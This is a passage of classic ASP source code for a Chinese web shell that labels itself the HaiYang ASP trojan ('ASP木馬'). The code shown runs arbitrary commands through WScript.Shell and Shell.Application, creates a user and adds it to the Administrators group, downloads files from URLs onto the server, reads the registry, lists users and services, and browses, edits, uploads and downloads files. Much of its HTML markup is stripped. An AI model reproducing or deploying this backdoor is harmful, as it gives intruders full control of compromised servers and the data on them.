"劉云峰的文件上傳組件,ASPUpload 文件上傳,Dimac 文件上傳,Dimac JMail 郵件收發,虛擬 SMTP 發信,ASPemail 發信,ASPmail 發信,dkQmail 發信," & _ "Geocel 發信,IISmail 發信,SmtpMail 發信,SA 的圖像讀寫,Dimac 的圖像讀寫組件," & _ "FSO,Stream 流,,," aryObjectList = Split(strObjectList, ",") aryDscList = Split(strDscList, ",") showTitle("服務器組件支持情況檢測") echo "其他組件支持情況檢測
    " echo "在下面的輸入框中輸入你要檢測的組件的ProgId或ClassId。
    " echo "
    " echo "" echo "
    " If Request("theAct") = "我要檢測" And txtObjInfo <> "" Then Call getObjInfo(txtObjInfo, "") End If echo "
    " echo "組件名稱 支持及其它" For i = 0 To UBound(aryDscList) Call getObjInfo(aryObjectList(i), aryDscList(i)) Next echo "
    Powered By Marcos 2005.02" End Sub Sub getObjInfo(strObjInfo, strDscInfo) Dim objTmp If isDebugMode = False Then On Error Resume Next End If echo "
  • " & strObjInfo If strDscInfo <> "" Then echo " (" & strDscInfo & "組件)" End If echo " " Set objTmp = Server.CreateObject(strObjInfo) If Err <> -2147221005 Then echo "√ " echo "Version: " & objTmp.Version & "; " echo "About: " & objTmp.About Else echo "℅" End If echo "
    • " If Err Then Err.Clear End If Set objTmp = Nothing End Sub Sub PageOtherTools() Dim theAct theAct = Request("theAct") showTitle("一些零碎的小東西") Select Case theAct Case "downFromUrl" downFromUrl() Response.End Case "addUser" AddUser Request("userName"), Request("passWord") Response.End Case "readReg" readReg() Response.End End Select echo "數制轉換:
    " echo "" echo "" echo "" echo "" echo "
    " echo "下載到服務器:
    " echo "
    " echo "
    " echo "" echo "存在覆蓋" echo "" echo "
    " echo "
    " echo "文件編輯:
    " echo "
    " echo "" echo "" echo "" echo "" echo "
    " echo "管理帳號添加(成功率極低):
    " echo "
    " echo "" echo "" echo "" echo "" echo "
    " echo "注冊表鍵值讀取(資料):
    " echo "
    " echo "" echo "" echo "" echo "" echo "
    " echo "" & vbNewLine echo "Powered By Marcos 2005.02" End Sub Sub downFromUrl() If isDebugMode = False Then On Error Resume Next End If Dim Http, theUrl, thePath, stream, fileName, overWrite theUrl = Request("theUrl") thePath = Request("thePath") overWrite = Request("overWrite") Set stream = Server.CreateObject("Adodb.Stream") Set Http = Server.CreateObject("MSXML2.XMLHTTP") If overWrite <> 2 Then overWrite = 1 End If Http.Open "GET", theUrl, False Http.Send() If Http.ReadyState <> 4 Then Exit Sub End If With stream .Type = 1 .Mode = 3 .Open .Write Http.ResponseBody .Position = 0 .SaveToFile thePath, overWrite If Err.Number = 3004 Then Err.Clear fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/"))) If fileName = "" Then fileName = "index.htm.txt" End If thePath = thePath & "\" & fileName .SaveToFile thePath, overWrite End If .Close End With chkErr(Err) alertThenClose("文件 " & Replace(thePath, "\", "\\") & " 下載成功!") Set Http = Nothing Set Stream = Nothing End Sub Sub AddUser(strUser, strPassword) If isDebugMode = False Then On Error Resume Next End If Dim computer, theUser, theGroup Set computer = Getobject("WinNT://.") Set theGroup = GetObject("WinNT://./Administrators,group") Set theUser = computer.Create("User", strUser) theUser.SetPassword(strPassword) chkErr(Err) theUser.SetInfo chkErr(Err) theGroup.Add theUser chkErr(Err) Set theUser = Nothing Set computer = Nothing Set theGroup = Nothing echo getUserInfo(strUser) End Sub Sub readReg() If isDebugMode = False Then On Error Resume Next End If Dim i, thePath, theArray thePath = Request("thePath") ' echo thePath & "
    " theArray = ws.RegRead(thePath) If IsArray(theArray) Then For i = 0 To UBound(theArray) echo "
  • " & theArray(i) Next Else echo "
  • " & theArray End If chkErr(Err) End Sub Sub PageList() showTitle("功能模塊列表") echo "" echo "海陽頂端網ASP木馬@2006α
    " echo "
    1. 系統服務信息
      2. " echo "
      " echo "
    2. 服務器相關數據
      (" echo "      系統參數," echo "系統磁盤," echo "站點文件夾," echo "終端端口&自動登錄)
      3. " echo "
      " echo "
    3. 服務器組件探針
      4. " echo "
      " echo "
    4. 系統用戶及用戶組信息
      5. " echo "
      " echo "
    5. 客戶端服務器交互信息
      6. " echo "
      " echo "
    6. WScript.Shell程序運行器
      7. " echo "
      " echo "
    7. Shell.Application程序運行器
      8. " echo "
      " echo "
    8. FSO文件瀏覽操作器
      9. " echo "
      " echo "
    9. Shell.Application文件瀏覽操作器
      10. " echo "
      " echo "
    10. 微軟數據庫查看/操作器
      11. " echo "
      " echo "
    11. 文本文件搜索器
      12. " echo "
      " echo "
    12. 一些零碎的小東西
      13. " echo "
    " echo "
    Powered By Marcos 2005.02" End Sub Sub PageSaCmdRun() If isDebugMode = False Then On Error Resume Next End If Dim theFile, thePath, theAct, appPath, appName, appArgs showTitle("Shell.Application命令行操作") theAct = Trim(Request("theAct")) appPath = Trim(Request("appPath")) thePath = Trim(Request("thePath")) appName = Trim(Request("appName")) appArgs = Trim(Request("appArgs")) If theAct = "doAct" Then If appName = "" Then appName = "cmd.exe" End If If appPath <> "" And Right(appPath, 1) <> "\" Then appPath = appPath & "\" End If If LCase(appName) = "cmd.exe" And appArgs <> "" Then If LCase(Left(appArgs, 2)) <> "/c" Then appArgs = "/c " & appArgs End If Else If LCase(appName) = "cmd.exe" And appArgs = "" Then appArgs = "/c " End If End If sa.ShellExecute appName, appArgs, appPath, "", 0 chkErr(Err) End If If theAct = "readResult" Then Err.Clear echo encode(streamLoadFromFile(aspPath)) If Err Then Set theFile = fso.OpenTextFile(aspPath) echo encode(theFile.ReadAll()) Set theFile = Nothing End If Response.End End If echo "" echo "" echo "
    " echo "" echo "" echo "所在路徑:
    " echo "程序文件: " echo "
    " echo "命令參數: " echo "
    " echo "
    注: 只有命令行程序在CMD.EXE運行環境下才可以進行臨時文件回顯(利用"">""符號),其它程序只能執行不能回顯.
    " echo "　  由于命令執行時間同網頁刷新時間不同步,所以有些執行時間長的程序結果需要手動刷新下面的iframe才能得到.回顯后記得刪除臨時文件.
    " echo "" echo "
    " echo "" End Sub Sub PageServiceList() Dim sa, objService, objComputer showTitle("系統服務信息查看") Set objComputer = GetObject("WinNT://.") Set sa = Server.CreateObject("Shell.Application") objComputer.Filter = Array("Service") echo "
      " If isDebugMode = False Then On Error Resume Next End If For Each objService In objComputer echo "
    1. " & objService.Name & "
      2. " echo "
        服務名稱: " & objService.Name & "
        " echo "顯示名稱: " & objService.DisplayName & "
        " echo "啟動類型: " & getStartType(objService.StartType) & "
        " echo "運行狀態: " & sa.IsServiceRunning(objService.Name) & "
        " ' echo "當前狀態: " & objService.Status & "
        " ' echo "服務類型: " & objService.ServiceType & "
        " echo "登錄身份: " & objService.ServiceAccountName & "
        " echo "服務描述: " & getServiceDsc(objService.Name) & "
        " echo "文件路徑及參數: " & objService.Path echo "
      " Next echo "
    Powered By Marcos 2005.02" Set sa = Nothing End Sub Function getServiceDsc(strService) Dim ws Set ws = Server.CreateObject("WScript.Shell") getServiceDsc = ws.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\" & strService & "\Description") Set ws = Nothing End Function Sub PageTxtSearcher() Response.Buffer = True Server.ScriptTimeOut = 5000 Dim keyword, theAct, thePath, theFolder theAct = Request("theAct") keyword = Trim(Request("keyword")) thePath = Trim(Request("thePath")) showTitle("文本文件搜索器") If thePath = "" Then thePath = Server.MapPath("\") End If echo "FSO文件搜索:" echo "
    " echo "
    " echo "路徑:
    " echo "關鍵字: " echo "" echo "
    " echo "
    " echo "Shell.Application & Adodb.Stream文件搜索:" echo "
    " echo "
    " echo "路徑:
    " echo "關鍵字: " echo "" echo "
    " echo "
    " If theAct = "fsoSearch" And keyword <> "" Then Set theFolder = fso.GetFolder(thePath) Call searchFolder(theFolder, keyword) Set theFolder = Nothing End If If theAct = "saSearch" And keyword <> "" Then Call appSearchIt(thePath, keyword) End If echo "
    Powered By Marcos 2005.02" End Sub Sub searchFolder(folder, str) Dim ext, title, theFile, theFolder For Each theFile In folder.Files ext = LCase(Split(theFile.Path, ".")(UBound(Split(theFile.Path, ".")))) If InStr(LCase(theFile.Name), LCase(str)) > 0 Then echo fileLink(theFile, "") End If If ext = "asp" Or ext = "asa" Or ext = "cer" Or ext = "cdx" Then If searchFile(theFile, str, title, "fso") Then echo fileLink(theFile, title) End If End If Next Response.Flush() For Each theFolder In folder.subFolders searchFolder theFolder, str Next end sub Function searchFile(f, s, title, method) If isDebugMode = False Then On Error Resume Next End If Dim theFile, content, pos1, pos2 If method = "fso" Then Set theFile = fso.OpenTextFile(f.Path) content = theFile.ReadAll() theFile.Close Set theFile = Nothing Else content = streamLoadFromFile(f.Path) End If If Err Then Err.Clear content = "" End If searchFile = InStr(1, content, S, vbTextCompare) > 0 If searchFile Then pos1 = InStr(1, content, "", vbTextCompare) pos2 = InStr(1, content, "", vbTextCompare) title = "" If pos1 > 0 And pos2 > 0 Then title = Mid(content, pos1 + 7, pos2 - pos1 - 7) End If End If End Function Function fileLink(f, title) fileLink = f.Path If title = "" Then title = f.Name End If fileLink = "
  • " & title & " " & fileLink & "
    • " End Function Sub appSearchIt(thePath, theKey) Dim title, extName, objFolder, objItem, fileName Set objFolder = sa.NameSpace(thePath) For Each objItem In objFolder.Items If objItem.IsFolder = True Then Call appSearchIt(objItem.Path, theKey) Response.Flush() Else extName = LCase(Split(objItem.Path, ".")(UBound(Split(objItem.Path, ".")))) fileName = Split(objItem.Path, "\")(UBound(Split(objItem.Path, "\"))) If InStr(LCase(fileName), LCase(theKey)) > 0 Then echo fileLink(objItem, "") End If If extName = "asp" Or extName = "asa" Or extName = "cer" Or extName = "cdx" Then If searchFile(objItem, theKey, title, "application") Then echo fileLink(objItem, title) End If End If End If Next End Sub Sub PageUserList() Dim objUser, objGroup, objComputer showTitle("系統用戶及用戶組信息查看") Set objComputer = GetObject("WinNT://.") objComputer.Filter = Array("User") echo "User:" echo "
    " For Each objUser in objComputer echo "
  • " & objUser.Name & "
    • " echo "
      " getUserInfo(objUser.Name) echo "
    " Next echo "    " echo "
    UserGroup:" echo "
    " objComputer.Filter = Array("Group") For Each objGroup in objComputer echo "
  • " & objGroup.Name & "
    • " echo "
      " & objGroup.Description & "
    " Next echo "
    Powered By Marcos 2005.02" End Sub Sub getUserInfo(strUser) Dim User, Flags If isDebugMode = False Then On Error Resume Next End If Set User = GetObject("WinNT://./" & strUser & ",user") echo "描述: " & User.Description & "
    " echo "所屬用戶組: " & getItsGroup(strUser) & "
    " echo "密碼已過期: " & cbool(User.Get("PasswordExpired")) & "
    " Flags = User.Get("UserFlags") echo "密碼永不過期: " & cbool(Flags And &H10000) & "
    " echo "用戶不能更改密碼: " & cbool(Flags And &H00040) & "
    " echo "非全局帳號: " & cbool(Flags And &H100) & "
    " echo "密碼的最小長度: " & User.PasswordMinimumLength & "
    " echo "是否要求有密碼: " & User.PasswordRequired & "
    " echo "帳號停用中: " & User.AccountDisabled & "
    " echo "帳號鎖定中: " & User.IsAccountLocked & "
    " echo "用戶信息文件: " & User.Profile & "
    " echo "用戶登錄腳本: " & User.LoginScript & "
    " echo "用戶Home目錄: " & User.HomeDirectory & "
    " echo "用戶Home目錄根: " & User.Get("HomeDirDrive") & "
    " echo "帳號過期時間: " & User.AccountExpirationDate & "
    " echo "帳號失敗登錄次數: " & User.BadLoginCount & "
    " echo "帳號最后登錄時間: " & User.LastLogin & "
    " echo "帳號最后注銷時間: " & User.LastLogoff & "
    " For Each RegTime In User.LoginHours If RegTime < 255 Then Restrict = True End If Next echo "帳號已用時間: " & Restrict & "
    " Err.Clear End Sub Function getItsGroup(strUser) Dim objUser, objGroup Set objUser = GetObject("WinNT://./" & strUser & ",user") For Each objGroup in objUser.Groups getItsGroup = getItsGroup & " " & objGroup.Name Next End Function Sub PageWsCmdRun() Dim cmdStr, cmdPath, cmdResult cmdStr = Request("cmdStr") cmdPath = Request("cmdPath") showTitle("WScript.Shell命令行操作") If cmdPath = "" Then cmdPath = "cmd.exe" End If If cmdStr <> "" Then If InStr(LCase(cmdPath), "cmd.exe") > 0 Or InStr(LCase(cmdPath), LCase(myCmdDotExeFile)) > 0 Then cmdResult = doWsCmdRun(cmdPath & " /c " & cmdStr) Else If LCase(cmdPath) = "wscriptshell" Then cmdResult = doWsCmdRun(cmdStr) Else cmdResult = doWsCmdRun(cmdPath & " " & cmdStr) End If End If End If echo "" echo "" echo "
    " echo "路徑: " echo "
    " echo "命令/參數: " echo "
    " echo "
    注: 請只在這里執行單步程序(程序執行開始到結束不需要人工干預),不然本程序會無法正常工作,并且在服務器生成一個不可結束的進程.
    " echo "" echo "
    " echo "" End Sub Function doWsCmdRun(cmdStr) If isDebugMode = False Then On Error Resume Next End If Dim fso, theFile Set fso = Server.CreateObject("Scripting.FileSystemObject") doWsCmdRun = ws.Exec(cmdStr).StdOut.ReadAll() If Err Then echo Err.Description & "
    " Err.Clear ws.Run cmdStr & " > " & aspPath, 0, True Set theFile = fso.OpenTextFile(aspPath) doWsCmdRun = theFile.RealAll() If Err Then echo Err.Description & "
    " Err.Clear doWsCmdRun = streamLoadFromFile(aspPath) End If End If Set fso = Nothing End Function Sub PageOther() echo "" & vbNewLine echo "" End Sub Sub openUrl(usePath) Dim theUrl, thePath thePath = Server.MapPath("/") If LCase(Left(usePath, Len(thePath))) = LCase(thePath) Then theUrl = Mid(usePath, Len(thePath) + 1) theUrl = Replace(theUrl, "\", "/") If Left(theUrl, 1) = "/" Then theUrl = Mid(theUrl, 2) End If Response.Redirect("/" & theUrl) Else alertThenClose("您所要打開的文件不在本站點目錄下\n您可以嘗試把要打開(下載)的文件粘貼到\n站點目錄下,然后再打開(下載)!") Response.End End If End Sub Sub showEdit(thePath, strMethod) If isDebugMode = False Then On Error Resume Next End If Dim theFile, unEditableExt If Right(thePath, 1) = "\" Then alertThenClose("編輯文件夾操作是非法的.") Response.End End If unEditableExt = "$exe$dll$bmp$wav$mp3$wma$ra$wmv$ram$rm$avi$mgp$png$tiff$gif$pcx$jpg$com$msi$scr$rar$zip$ocx$sys$mdb$" echo "" echo "" echo "
    " echo "
    " echo "
    " echo "保存為: " echo " " echo "" echo "" echo "" echo strJsCloseMe & "
    " echo "
    " echo "
    " End Sub Sub saveToFile(thePath, strMethod) If isDebugMode = False Then On Error Resume Next End If Dim fileContent, windowStatus fileContent = Request("fileContent") windowStatus = Request("windowStatus") If strMethod = "stream" Then streamSaveToFile thePath, fileContent chkErr(Err) Else fsoSaveToFile thePath, fileContent chkErr(Err) End If If windowStatus = "on" Then Response.Cookies(m & "windowStatus") = "True" Response.Write "" Else Response.Cookies(m & "windowStatus") = "False" Call showEdit(thePath, strMethod) End If End Sub Sub fsoSaveToFile(thePath, fileContent) Dim theFile Set theFile = fso.OpenTextFile(thePath, 2, True) theFile.Write fileContent theFile.Close Set theFile = Nothing End Sub Function streamLoadFromFile(thePath) Dim stream If isDebugMode = False Then On Error Resume Next End If Set stream = Server.CreateObject("adodb.stream") With stream .Type=2 .Mode=3 .Open .LoadFromFile thePath .LoadFromFile thePath If Request("pageName") <> "TxtSearcher" Then chkErr(Err) End If .Charset="gb2312" .Position=2 streamLoadFromFile=.ReadText() .Close End With Set stream = Nothing End Function Sub downTheFile(thePath) Response.Clear If isDebugMode = False Then On Error Resume Next End If Dim stream, fileName, fileContentType fileName = split(thePath,"\")(uBound(split(thePath,"\"))) Set stream = Server.CreateObject("adodb.stream") stream.Open stream.Type = 1 stream.LoadFromFile(thePath) chkErr(Err) Response.AddHeader "Content-Disposition", "attachment; filename=" & fileName Response.AddHeader "Content-Length", stream.Size Response.Charset = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite stream.Read Response.Flush stream.Close Set stream = Nothing End Sub Sub showUpload(thePath, pageName) echo "" echo "
    " echo "上傳文件:
    保存為: " echo "" echo "覆蓋模式
    " echo "") streamT.Close .Close End With Set stream = Nothing Set streamT = Nothing End Sub Function getDriveType(num) Select Case num Case 0 getDriveType = "未知" Case 1 getDriveType = "可移動磁盤" Case 2 getDriveType = "本地硬盤" Case 3 getDriveType = "網絡磁盤" Case 4 getDriveType = "CD-ROM" Case 5 getDriveType = "RAM 磁盤" End Select End Function Function getFileIcon(extName) Select Case LCase(extName) Case "vbs", "h", "c", "cfg", "pas", "bas", "log", "asp", "txt", "php", "ini", "inc", "htm", "html", "xml", "conf", "config", "jsp", "java", "htt", "lst", "aspx", "php3", "php4", "js", "css", "asa" getFileIcon = "Wingdings>2" Case "wav", "mp3", "wma", "ra", "wmv", "ram", "rm", "avi", "mpg" getFileIcon = "Webdings>﹒" Case "jpg", "bmp", "png", "tiff", "gif", "pcx", "tif" getFileIcon = "'webdings'>Ÿ" Case "exe", "com", "bat", "cmd", "scr", "msi" getFileIcon = "Webdings>1" Case "sys", "dll", "ocx" getFileIcon = "Wingdings>ÿ" Case Else getFileIcon = "'Wingdings 2'>/" End Select End Function Function getStartType(num) Select Case num Case 2 getStartType = "自動" Case 3 getStartType = "手動" Case 4 getStartType = "已禁用" End Select End Function %>